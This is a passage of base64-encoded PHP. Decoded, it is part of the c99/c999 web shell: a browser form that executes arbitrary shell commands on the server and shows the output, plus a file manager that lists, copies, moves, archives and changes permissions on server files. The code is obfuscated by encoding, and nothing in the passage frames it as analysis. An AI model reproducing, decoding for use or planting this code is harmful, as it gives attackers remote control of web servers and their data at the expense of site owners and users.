hdGEpOyAkYWN0ID0gImxzIjt9CiBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgYzk5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9CiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpCiB7CiAgJHBzdGVyciA9ICIiOwogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30KICB9CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogIH0KICBjOTk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30KICAkYWN0ID0gImxzIjsKIH0KIGVsc2VpZiAoJGFjdGFyY2J1ZmYpCiB7CiAgJGFyY2VyciA9ICIiOwogIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30KICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30KICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQogICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOwogICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsKICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KQogIHsKICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpOwogICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9CiAgIGlmIChpc19kaXIoJHYpKQogICB7CiAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAkdiAuPSAiKiI7CiAgIH0KICAgJGNtZGxpbmUgLj0gIiAiLiR2OwogIH0KICAkdG1wID0gcmVhbHBhdGgoIi4iKTsKICBjaGRpcigkZCk7CiAgJHJldCA9IG15c2hlbGxleGVjKCRjbWRsaW5lKTsKICBjaGRpcigkdG1wKTsKICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGluZSw2MCkpLiIpITxicj4iO30KICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7CiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICB9CiAgYzk5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30KICAkYWN0ID0gImxzIjsKIH0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikKIHsKICAkcHN0ZXJyID0gIiI7CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9CiAgfQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogIH0KICBjOTk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30KICAkYWN0ID0gImxzIjsKIH0KfQppZiAoJGFjdCA9PSAiY21kIikKewppZiAodHJpbSgkY21kKSA9PSAicHMgLWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQplbHNlaWYgKHRyaW0oJGNtZCkgPT0gInRhc2tsaXN0IikgeyRhY3QgPSAicHJvY2Vzc2VzIjt9CmVsc2UKewogQGNoZGlyKCRjaGRpcik7CiBpZiAoIWVtcHR5KCRzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBjb21tYW5kPC9iPjo8YnI+IjsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogICRyZXQgPSBteXNoZWxsZXhlYygkY21kKTsKICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgaWYgKCRjbWRfdHh0KQogIHsKICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsKICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOwogIH0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30KICBAY2hkaXIoJG9sZGRpcik7CiB9CiBlbHNlIHtlY2hvICI8Yj5FeGVjdXRpb24gY29tbWFuZDwvYj4iOyBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO319CiBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjx0ZXh0YXJlYSBuYW1lPWNtZCBjb2xzPTEyMiByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRjbWRfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOwp9Cn0KaWYgKCRhY3QgPT0gImxzIikKewogaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyRsaXN0ID0gJGxzX2Fycjt9CiBlbHNlCiB7CiAgJGxpc3QgPSBhcnJheSgpOwogIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkKICB7CiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7JGxpc3RbXSA9ICRkLiRvO30KICAgY2xvc2VkaXIoJGgpOwogIH0KICBlbHNlIHt9CiB9CiBpZiAoY291bnQoJGxpc3QpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IG9wZW4gZm9sZGVyICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvYj48L2NlbnRlcj4iO30KIGVsc2UKIHsKICAvL0J1aWxkaW5nIGFycmF5CiAgJG9iamVjdHMgPSBhcnJheSgpOwogICR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUKICAKICBpZiAoJHZkID09ICJmIikKICB7CiAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOwogICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOwogICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7CiAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQogICB7CiAgICAkbyA9IGJhc2VuYW1lKCR2KTsKICAgICRyb3cgPSBhcnJheSgpOwogICAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQogICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpCiAgICB7CiAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQogICAgIGVsc2UgeyR0eXBlID0gIkRJUiI7fQogICAgICRyb3dbXSA9ICR2OwogICAgICRyb3dbXSA9ICR0eXBlOwogICAgfQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9CiAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOwogICAgaWYgKCEkd2luKQogICAgewogICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOwogICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOwogICAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJHYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkdikpOwogICAgfQogICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsKICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskb2JqZWN0c1sibGlua3MiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1siZmlsZXMiXVtdID0gJHJvdzt9CiAgICAkaSsrOwogICB9CiAgICRyb3cgPSBhcnJheSgpOwogICAkcm93W10gPSAiPGI+TmFtZTwvYj4iOwogICAkcm93W10gPSAiPGI+U2l6ZTwvYj4iOwogICAkcm93W10gPSAiPGI+TW9kaWZ5PC9iPiI7CiAgIGlmICghJHdpbikKICB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQogICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsKICAgJHJvd1tdID0gIjxiPkFjdGlvbjwvYj4iOwogICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsKICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07CiAgICRrID0gJHBhcnNlc29ydFswXTsKICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9CiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOwogICAkeSAuPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0XyIuKCRzb3J0WzFdID09ICJhIj8iYXNjIjoiZGVzYyIpLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7CiAgICRyb3dbJGtdIC49ICR5OwogICBmb3IoJGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspCiAgIHsKICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQogICB9CiAgICR2ID0gJHBhcnNlc29ydFswXTsKICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsKICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7CiAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOwogICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpCiAgIHsKICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOwogICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsKICAgfQogICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0sJG9iamVjdHNbImZvbGRlcnMiXSwkb2JqZWN0c1sibGlua3MiXSwkb2JqZWN0c1siZmlsZXMiXSk7CiAgICR0YWIgPSBhcnJheSgpOwogICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsKICAgJHRhYlsiaGVhZCJdID0gYXJyYXkoKTsKICAgJHRhYlsiZm9sZGVycyJdID0gYXJyYXkoKTsKICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7CiAgICR0YWJbImZpbGVzIl0gPSBhcnJheSgpOwogICAkaSA9IDA7CiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKQogICB7CiAgICAkdiA9ICRhWzBdOwogICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAkZGlyID0gZGlybmFtZSgkdik7CiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9CiAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9CiAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOwogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30KICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQogICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikKICAgIHsKICAgICBpZiAoZXJlZygkclswXSwkbykpCiAgICAgewogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTk5c2hleGl0KCk7fQogICAgICBlbHNlCiAgICAgIHsKICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOwogICAgICAgJGlzZGlyID0gaXNfZGlyKCR2KTsKICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpCiAgICAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRyWzJdKSkgeyRyWzJdID0gIjxiPiI7ICRyWzNdID0gIjwvYj4iO30KICAgICAgICAkZGlzcHBhdGggPSAkclsyXS4kZGlzcHBhdGguJHJbM107CiAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQogICAgICAgfQogICAgICB9CiAgICAgfQogICAgfQogICAgJHVvID0gdXJsZW5jb2RlKCRvKTsKICAgICR1ZCA9IHVybGVuY29kZSgkZGlyKTsKICAgICR1diA9IHVybGVuY29kZSgkdik7CiAgICAkcm93ID0gYXJyYXkoKTsKICAgIGlmICgkbyA9PSAiLiIpCiAgICB7CiAgICAgJHJvd1tdID0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c21hbGxfZGlyXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsKICAgICAkcm93W10gPSAiTElOSyI7CiAgICB9CiAgICBlbHNlaWYgKCRvID09ICIuLiIpCiAgICB7CiAgICAgJHJvd1tdID0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii4kby4iPC9hPiI7CiAgICAgJHJvd1tdID0gIkxJTksiOwogICAgfQogICAgZWxzZWlmIChpc19kaXIoJHYpKQogICAgewogICAgIGlmIChpc19saW5rKCR2KSkKICAgICB7CiAgICAgICRkaXNwcGF0aCAuPSAiID0+ICIucmVhZGxpbmsoJHYpOwogICAgICAkdHlwZSA9ICJMSU5LIjsKICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsKICAgICB9CiAgICAgZWxzZQogICAgIHsKICAgICAgJHR5cGUgPSAiRElSIjsKICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOwogICAgICB9CiAgICAgJHJvd1tdID0gJHR5cGU7CiAgICB9CiAgICBlbHNlaWYoaXNfZmlsZSgkdikpCiAgICB7CiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsKICAgICAkYyA9IGNvdW50KCRleHQpLTE7CiAgICAgJGV4dCA9ICRleHRbJGNdOwogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiImXCI+Ii4kZGlzcHBhdGguIjwvYT4iOwogICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7CiAgICB9CiAgICAkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMl0pOwogICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQogICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsKICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07fQogICAgZWxzZSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBpZD1cImFjdGJveCIuJGkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9CiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQogICAgZWxzZSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJDaGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9CiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskdGFiWyJsaW5rcyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyR0YWJbImZvbGRlcnMiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9CiAgICAkaSsrOwogICB9CiAgfQogIC8vIENvbXBpbGluZyB0YWJsZQogICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7CiAgZWNobyAiPGNlbnRlcj48Yj5MaXN0aW5nIGZvbGRlciAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpOjwvYj48L2NlbnRlcj48YnI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSM0MzMzMzMgYm9yZGVyPTA+PGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1QgbmFtZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Ii4kZHNwYWN0LiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iLiRkLiI+IjsKICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KQogIHsKICAgZWNobyAiPHRyPlxyXG4iOwogICBmb3JlYWNoKCRyb3cgYXMgJHYpIHtlY2hvICI8dGQ+Ii4kdi4iPC90ZD5cclxuIjt9CiAgIGVjaG8gIjwvdHI+XHJcbiI7CiAgfQogIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+CiAgPHNjcmlwdD4KICBmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpCiAgewogICB2YXIgaWQgPSAxOwogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOwogICB3aGlsZSAoaWQgPD0gbnVtKQogICB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9IHN0YXR1czsKICAgIGlkKys7CiAgIH0KICB9CiAgZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKQogIHsKICAgdmFyIGlkID0gMTsKICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsKICAgd2hpbGUgKGlkIDw9IG51bSkKICAgewogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQ7CiAgICBpZCsrOwogICB9CiAgfQogIDwvc2NyaXB0PgogIDxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2YWx1ZT1cIlVuc2VsZWN0IGFsbFwiPiAKICA8Yj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj4iOwogIGlmIChjb3VudChhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pKSA+IDAgYW5kICgkdXNlZnNidWZmKSkKICB7CiAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOy